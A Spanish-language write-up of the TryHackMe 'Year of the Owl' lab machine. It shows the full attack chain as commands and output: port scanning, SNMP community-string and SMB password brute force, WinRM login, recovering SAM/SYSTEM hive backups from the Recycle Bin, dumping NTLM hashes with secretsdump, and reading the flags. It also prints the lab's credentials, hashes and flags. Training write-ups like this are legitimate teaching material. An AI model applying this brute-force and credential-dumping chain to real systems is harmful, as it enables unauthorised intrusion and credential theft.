

Write-Up/Explicación paso a paso de Hackeo y Rooteo a Máquina Year of The Owl– Plataforma Tryhackme

DISCLAIMER (Autorización y alcance):

1. **Ámbito del informe:**

Este informe describe exclusivamente las actividades de evaluación de seguridad realizadas sobre la **máquina virtual “Year of the Owl”** alojada en la plataforma **TryHackme**, en un entorno de laboratorio/CTF controlado. Todas las pruebas se realizaron con un alcance limitado al sistema indicado y bajo las condiciones definidas por la plataforma.

2. **Propósito:**

El propósito del ejercicio es **educativo** y de investigación: identificar vectores de ataque, demostrar posibles impactos y proponer medidas de mitigación. No pretende explotar vulnerabilidades en sistemas ajenos ni causar daño.

3. **Autorización:**

Las técnicas y pruebas documentadas aquí deben ser aplicadas **únicamente** en sistemas para los que se disponga de **autorización explícita y por escrito** del propietario. La reproducción de estas pruebas en equipos o redes que no te pertenezcan, o sin permiso, es **ilegal y poco ética**.

4. **Limitaciones y responsabilidad:**

Ni el autor ni la institución/entidad que lo respalde asumen responsabilidad por el uso indebido del contenido de este informe. Cualquier acción realizada fuera del alcance de autorización corre por cuenta exclusiva del actor que la ejecute.

RECONOCIMIENTO

Comenzamos escaneando la máquina, con el objetivo de averiguar qué puertos se encuentran abiertos. Obtenemos bastantes puertos abiertos. Dos servicios web, uno por HTTP y otro por HTTPS, un servicio SMB, un servidor MySQL, un servidor RDP.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# nmap -sS -p- --open -vvv -n -Pn -oN allPorts -T4 10.129.149.89
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 20:20 +0000
Initiating SYN Stealth Scan at 20:20
Scanning 10.129.149.89 [65535 ports]
Discovered open port 3389/tcp on 10.129.149.89
Discovered open port 3306/tcp on 10.129.149.89
Discovered open port 80/tcp on 10.129.149.89
Discovered open port 139/tcp on 10.129.149.89
Discovered open port 445/tcp on 10.129.149.89
Discovered open port 443/tcp on 10.129.149.89
Discovered open port 47001/tcp on 10.129.149.89
Discovered open port 5985/tcp on 10.129.149.89
```

Realizamos un escaneo exhaustivo para descubrir la versión de los servicios que corren por los puertos que se encuentran abiertos. No encontramos ninguna versión de los mismos vulnerable a ningún exploit público, por lo que empezamos con la fase de enumeración de cada uno de los servicios.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# nmap -sVC -p 80,139,443,445,3306,3389,5985,47001 -n -Pn -oN targets 10.129.149.89
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 20:29 +0000
Nmap scan report for 10.129.149.89
Host is up (0.032s latency).
```

ENUMERACIÓN SMB/RPC

El protocolo SMB es uno de los prioritarios, ya que a través de él podemos obtener información de los usuarios o consultar recursos compartidos que aporten información muy valiosa. En este caso intentamos un login con null/guest session, pero no obtenemos acceso.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# crackmapexec smb 10.129.149.89 -u '' -p ''
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [*] Windows 10 / Server 2019 Build 17763 (name:YEAR-OF-THE-OWL) (domain:year-of-the-owl) (signature:False) (SMBv1:False)
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [-] year-of-the-owl\ : STATUS_ACCESS_DENIED

(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# crackmapexec smb 10.129.149.89 -u 'guest' -p ''
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [*] Windows 10 / Server 2019 Build 17763 (name:YEAR-OF-THE-OWL) (domain:year-of-the-owl) (signature:False) (SMBv1:False)
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [-] year-of-the-owl\guest: STATUS_ACCOUNT_DISABLED
```

También intentamos conectarnos por rpcclient por si pudiéramos listar algún usuario, pero tampoco obtenemos acceso. No se contempla de momento el realizar un ataque de fuerza bruta porque no disponemos de ninguna credencial ni usuario válido, con el riesgo de bloqueo de servicios o cuentas es preferible explorar otras opciones primero.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# rpcclient -U "" -N //10.129.149.89
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
```

ENUMERACIÓN WEB

Nos encontramos con dos servicios Web, uno en el puerto 80 HTTP y otro en el 443 HTTPS, recabamos información sobre las tecnologías que utilizan cada uno. Vemos que son idénticas, enumeramos versión de PHP, de OpenSSL y también la del servidor Apache.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# whatweb https://10.129.149.89:443
https://10.129.149.89:443 [200 OK] Apache[2.4.46], Country[RESERVED][22], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.10], IP[10.129.149.89], OpenSSL[1.1.1g], PHP[7.4.10], Title[Year of the Owl], X-Powered-By[PHP/7.4.10]

(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# whatweb http://10.129.149.89
http://10.129.149.89 [200 OK] Apache[2.4.46], Country[RESERVED][22], HTML5, HTTPServer[Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.10], IP[10.129.149.89], OpenSSL[1.1.1g], PHP[7.4.10], Title[Year of the Owl], X-Powered-By[PHP/7.4.10]
```

Accedemos a ambas páginas web, pero no observamos ninguna funcionalidad, tampoco encontramos nada interesante en el código fuente. Por lo que decidimos realizar fuzzing web en ambas para intentar encontrar algún recurso, se filtran por diversas extensiones y se intenta utilizar varios diccionarios, sin éxito, no hay, en principio nada reseñable en ambos servicios web. Después de probar un fuzzing de parámetros en el recurso index.php, capturar la petición con BurpSuite para investigarla y ver que, en principio no podíamos realizar ninguna acción relevante, descartamos este servicio.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# gobuster dir -u http://10.129.145.10 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -b 404 -x php,txt,html,bak
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[*] Url: http://10.129.145.10
[*] Method: GET
[*] Threads: 10
[*] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[*] Negative Status codes: 404
[*] User Agent: gobuster/3.8.2
[*] Extensions: php,txt,html,bak
[*] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.php (Status: 403) [Size: 303]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 403) [Size: 303]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.bak (Status: 403) [Size: 303]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.txt (Status: 403) [Size: 303]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 403) [Size: 303]
index.php (Status: 200) [Size: 252]
```

```

(root@kali) ~ /home/phenixx/Escritorio/esc/yearowl
gobuster dir -u https://10.129.145.10 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -b 404 -x php,txt,html,bak --no-tls-validation
-----
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
-----
[*] Url: https://10.129.145.10
[*] Method: GET
[*] Threads: 10
[*] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[*] Negative Status codes: 404
[*] User Agent: gobuster/3.8.2
[*] Extensions: php,txt,html,bak
[*] Timeout: 10s
-----
Starting gobuster in directory enumeration mode
-----
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.php (Status: 403) [Size: 304]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 403) [Size: 304]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.txt (Status: 403) [Size: 304]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 403) [Size: 304]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/.bak (Status: 403) [Size: 304]
index.php (Status: 200) [Size: 252]

```

Se examina el servicio MySQL y se intenta acceder como root sin proporcionar credenciales, probando diferentes credenciales con root, pero tampoco resulta en nada exitoso.

No se contempla realizar un ataque de fuerza bruta contra el protocolo RDP de primeras, ya que podríamos bloquear el servicio.

ESCANEO UDP

Entre las opciones a contemplar, hay una línea que todavía no se ha seguido y es el escaneo por el protocolo UDP para ver los puertos que se encuentran abiertos utilizándolo. Entre los servicios más interesantes se encuentra SNMP, un protocolo de monitorización a través de la red. Abusando de este protocolo es posible enumerar características de los equipos, usuarios, subdominios o procesos corriendo en la máquina objetivo.

Realizamos un escaneo de los 100 puertos más representativos, hay que comentar que este tipo de escaneos no siempre muestra resultados concluyentes y es conveniente interactuar con el protocolo aunque no recibamos una respuesta positiva, ya en varias ocasiones recibiremos falsos negativos y falsos positivos

```

(root@kali) ~ /home/phenixx/Escritorio/esc/yearowl
# nmap -sU -sV --top-ports 100 -T4 -vvv -n -Pn -oN udp 10.129.149.89
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 20:45 +0000

```

Puesto que no recibo una respuesta concluyente referente al protocolo SNMP, intento interactuar con él. En primer lugar este protocolo, normalmente utiliza una community string a modo de contraseña para poder interactuar con él.

```

(root@kali) ~ /home/phenixx/Escritorio/esc/yearowl
# nmap -sU -p 161 -vvv -n -Pn -oN udp 10.129.149.89
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 20:44 +0000
Initiating UDP Scan at 20:44
Scanning 10.129.149.89 [1 port]
Completed UDP Scan at 20:44, 2.09s elapsed (1 total ports)
Nmap scan report for 10.129.149.89
Host is up, received user-set.
Scanned at 2026-08-20 20:44:17 UTC for 3s

PORT      STATE      SERVICE REASON
161/udp   open|filtered snmp    no-response

```

SNMP

Realizando un ataque de fuerza bruta con la herramienta onesixtyone podemos encontrar la community string y empezar a enumerar dicho protocolo.

```
(root@kali) - [ /home/phenixx/Escritorio/esc/yearowl ]
# onesixtyone 10.129.149.89 -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt
Scanning 1 hosts, 120 communities
10.129.149.89 [openview] Hardware: Intel64 Family 6 Model 79 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version
```

Ya que la respuesta de Nmap no nos informa de la versión, probamos diferentes opciones, en este caso v2c es la versión. Utilizamos snmp-check para interactuar con el protocolo y obtener información acerca de la monitorización a través de la red.

```
(root@kali)-[/home/phenixx/Escritorio/esc/yearowl]
# snmp-check 10.129.149.89 -c openview -v2c
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 10.129.149.89:161 using SNMPv2c and community 'openview'

[*] System information:

Host IP address      : 10.129.149.89
Hostname             : year-of-the-owl
Description          : Hardware: Intel64 Family 6 Model 79 Steppin
ltiprocessor Free)
```

Entre la información relevante encontramos un usuario, llamado Jareth. Se examinan también procesos, posibles subdominios, pero no se encuentra nada más relevante.

```
[*] User accounts:
    Guest
    Jareth
    Administrator
    DefaultAccount
    WDAGUtilityAccount
```

EXPLOTACIÓN

Con un nombre de usuario podemos realizar un ataque de fuerza bruta sobre diferentes protocolos, empiezo por SMB, aunque también es interesante explorar opciones como MySQL y RDP.

En mi caso obtengo que el usuario tiene acceso válido a SMB y además con privilegios administrativos.

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# crackmapexec smb 10.129.149.89 -u Jareth -p /usr/share/wordlists/rockyou.txt | grep "+"
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [+] year-of-the-owl\Jareth:sarah
```

```
(root@kali)-[/home/phenixx/Escritorio/esc/yearowl]
└─$ crackmapexec smb 10.129.149.89 -u Jareth -p 'sarah' --shares
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [*] Windows 10 / Server 2019 Build 17763 (name:YEAR-OF-THE-OWL) (domain:year-of-the-owl) (signature:False) (SMBv1:False)
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [+] year-of-the-owl\Jareth:sarah
SMB 10.129.149.89 445 YEAR-OF-THE-OWL [+] Enumerated shares
SMB 10.129.149.89 445 YEAR-OF-THE-OWL Share Permissions Remark
SMB 10.129.149.89 445 YEAR-OF-THE-OWL -----
SMB 10.129.149.89 445 YEAR-OF-THE-OWL ADMIN$ Remote Admin
SMB 10.129.149.89 445 YEAR-OF-THE-OWL C$ Default share
SMB 10.129.149.89 445 YEAR-OF-THE-OWL IPC$ Remote IPC
```


Por lo que tengo capacidad de conectarme remotamente a la máquina. Previamente se revisan los recursos compartidos, sin encontrar nada relevante.

```
(root@kali)-[/home/phenixx/Escritorio/esc/yearowl]
# crackmapexec winrm 10.129.149.89 -u Jareth -p 'sarah'
SMB 10.129.149.89 5985 YEAR-OF-THE-OWL [+] Windows 10 / Server 2019 Build 17763 (name:YEAR-OF-THE-OWL) (domain:year-of-the-owl)
HTTP 10.129.149.89 5985 YEAR-OF-THE-OWL [+] http://10.129.149.89:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit
.ciphers.algorithms.ARC4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM 10.129.149.89 5985 YEAR-OF-THE-OWL [+] year-of-the-owl\Jareth:sarah (Pwn3d!)
```

Accediendo a la máquina comienzo con mi metodología habitual de enumeración: permisos del usuario, pertenencia a grupos, privilegios, localización de posibles credenciales en spots típicos, análisis de servicios, procesos, tareas programadas, posibles exploits del kernel. Pero no encuentro nada relevante.

```
*Evil-WinRM* PS C:\> dir -force

Directory: C:\

Mode                LastWriteTime         Length Name
----                -
d--hs-           9/18/2020   2:14 AM              $Recycle.Bin
d--hsl           9/17/2020   7:27 PM      Documents and Settings
d-----          9/18/2020   2:04 AM              PerfLogs
d-r--           9/17/2020   7:39 PM      Program Files
d-----          9/17/2020   7:39 PM      Program Files (x86)
d--h--           9/18/2020   2:04 AM      ProgramData
d--hs-           9/17/2020   7:27 PM      Recovery
d--hs-           9/17/2020   7:26 PM      System Volume Information
d-r--           9/18/2020   2:14 AM              Users
d-----         11/13/2020  10:33 PM      Windows
d-----          9/17/2020   8:18 PM      xampp
-a-hs-           8/21/2026   5:34 AM    1207959552 pagefile.sys
```

Un aspecto que encuentro extraño es que el historial de Powershell había sido borrado, por lo que me hizo pensar que tal vez el usuario estuviera ocultando algo.

```
*Evil-WinRM* PS C:\> type 'C:\Users\Jareth\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'
Cannot find path 'C:\Users\Jareth\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt' because it does not exist.
At line:1 char:1
+ type 'C:\Users\Jareth\AppData\Roaming\Microsoft\Windows\PowerShell\PS ...
~
+ CategoryInfo          : ObjectNotFound: (C:\Users\Jareth...ost_history.txt:String) [Get-Content], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand

*Evil-WinRM* PS C:\>
```

Entre las posibles opciones pensé que tal vez el usuario había borrado algún archivo importante o ejecutado alguna acción que no quería que fuera visible.

Otra de las acciones que suelo llevar a cabo es la revisión de la papelera de reciclaje. Este es un directorio especial donde los archivos permanecen a la espera de ser eliminados, con opciones de restaurar, si bien no es posible acceder a su contenido dentro de ella, si que es posible moverlos a otra localización por ejemplo con la opción de restaurar.

Tenemos varias opciones llegados a este punto, ya que el servicio RDP se encuentra corriendo podemos intentar acceder a él reutilizando la misma contraseña que hemos proporcionado con WinRM, sería más fácil de esta manera acceder a la Papelera de Reciclaje.

No podemos acceder por RDP, ni desactivando TLS ni ignorando la utilización de certificados.

Utilizamos la otra alternativa, acceder a la papelera de reciclaje a través de la terminal obtenida con WinRM.

Para acceder a la papelera de reciclaje primero tenemos que conocer nuestro SID-RID y luego acceder al directorio correspondiente, normalmente localizado en [C:\\\$Recycle.Bin](#), cada usuario dispone lógicamente de su propia Papelera de reciclaje a la cual se accede proporcionando su correspondiente SID-RID.

Al acceder a la papelera de reciclaje de nuestro usuario encontramos dos archivos muy interesantes: sam y system (realmente son dos archivos de recuperación, pero para el caso es como si fueran los originales). Estos hives del registro nos sirven para poder dumppear las credenciales de los usuarios locales de la máquina, incluyendo al administrador local.

```
*Evil-WinRM* PS C:\> whoami /user

USER INFORMATION
-----

User Name          SID
-----
year-of-the-owl\jareth S-1-5-21-1987495829-1628902820-919763334-1001
*Evil-WinRM* PS C:\> dir '$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001'

Directory: C:\$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001

Mode                LastWriteTime         Length Name
----
-a----             9/18/2020   7:28 PM          49152 sam.bak
-a----             9/18/2020   7:28 PM       17457152 system.bak
```

Para acceder a dichos recursos hay que moverlos fuera de la papelera de reciclaje. Los comprimimos y los descargamos.

```
*Evil-WinRM* PS C:\> copy '$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001\system.bak' C:\Temp\system.bak
*Evil-WinRM* PS C:\> copy '$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001\sam.bak' C:\Temp\sam.bak
*Evil-WinRM* PS C:\> copy '$Recycle.Bin\S-1-5-21-1987495829-1628902820-919763334-1001\system.bak' C:\Temp\system.bak
*Evil-WinRM* PS C:\> cd C:\Temp
*Evil-WinRM* PS C:\Temp> Compress-Archive -Path .\system.bak,.\sam.bak -DestinationPath files.zip
*Evil-WinRM* PS C:\Temp> download files.zip

Info: Downloading C:\Temp\files.zip to files.zip
```

Utilizando Impacket-secretsdump en su modo local podemos realizar un dump de los hashes almacenados en la memoria SAM local, entre los que se encuentra el del usuario Administrator

```
(root@kali)-[/home/phoenixx/Escritorio/esc/yearowl]
# impacket-secretsdump -sam sam.bak -system system.bak LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0xd676472afd9cc13ac271e26890b87a8c
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6bc99ede9edcfecf9662fb0c0ddcfa7a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:39a21b273f0cfd3d1541695564b4511b:::
Jareth:1001:aad3b435b51404eeaad3b435b51404ee:5a6103a83d2a94be8fd17161dfd4555a:::
[*] Cleaning up...
```

Nos conectamos con WinRM con la cuenta de Administrator y leemos las flags correspondientes

```
*Evil-WinRM* PS C:\Users> type C:\Users\Administrator\Desktop\admin.txt
THM{YWFjZTM1MjFiZmRiODgyY2UwYzZlZWMy}
*Evil-WinRM* PS C:\Users> type C:\Users\Jareth\Desktop\user.txt
THM{Y2I0NDJjODY2NTc2YmI2Y2U4M2IwZTBh}
*Evil-WinRM* PS C:\Users>
```

